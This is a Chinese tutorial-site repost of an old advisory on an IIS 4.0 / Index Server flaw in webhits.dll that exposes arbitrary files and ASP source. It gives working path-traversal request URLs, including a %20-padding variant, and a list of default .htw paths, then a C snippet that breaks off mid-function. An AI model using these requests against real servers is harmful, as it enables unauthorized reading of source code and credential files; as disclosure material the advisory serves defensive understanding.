一聚教程网:一个值得你收藏的教程网站

热门教程

虚拟web目录容易泄露ASP源代码 (MS,缺陷)

时间:2022-06-30 09:18:46 编辑:袖梨 来源:一聚教程网

涉及程序:
Microsoft Internet Information Server/Index Server

描述:
震撼安全发现:新的漏洞允许查看web服务器上任何文件包括ASP源码

详细:
IIS4.0上有一个应用程序映射htw--->webhits.dll,这是用于Index Server的点击功能的。尽管你不运行Index Server,该映
射仍然有效。这个应用程序映射存在漏洞,允许入侵者读取本地硬盘上的文件,数据库文件,和ASP源代码!
有两种方法来实现,第一,如果你的web server上存在.htw后缀的文件,则可以过下面的方式来查看文件内容,比如查看
odbc.ini文件的内容:
http://www.xxx.com/iissamples/issamples/oop/qfullhit.htw?
CiWebHitsFile=/../../winnt/odbc.ini&CiRestriction=none&CiHiliteType=Full
对于IIS的一般安装模式可以在下列位置找到.htw文件:
/iissamples/issamples/oop/qfullhit.htw
/iissamples/issamples/oop/qsumrhit.htw
/iissamples/exair/search/qfullhit.htw
/iissamples/exair/search/qsumrhit.htw
/iishelp/iis/misc/iirturnh.htw
第二、如果你的web server上不存在这个文件,有漏洞的系统仍然允许用户调用webhits.dll,具体方式如下:
http://www.xxx.com/default.htm%20%20%20%20%20.htw?
CiWebHitsFile=/../../winnt/odbc.ini&CiRestriction=none&CiHiliteType=Full
条件是default.htm必须存在。这个文件名可以是其它文件,但必须存在。webhits.dll将会把这个文件作为临时文件打开。当上
述URL中的空格符%20达到一定数目时,web服务的识别功能可能会出现问题,这样webhits.dll将打开指定的文件
winntodbc.ini。如果成功,用同样的方法可以打开更多的文件,包括ASP代码。近似的原理请见下面这段代码:
FILE *fd;
int DoesTemplateExist(char *pathtohtwfile)
{
// Just in case inetinfo.exe passes too long a string
// let's make sure it's of a suitable length and not
// going to open a buffer overrun vulnerability
char *file;
file = (char *)malloc(250);
strncpy(file,pathtohtwfile,250);
fd = fopen(file,"r");
// Success
if(fd !=NULL)
{
return 1;
}
// failed
else
{
return 0;

热门栏目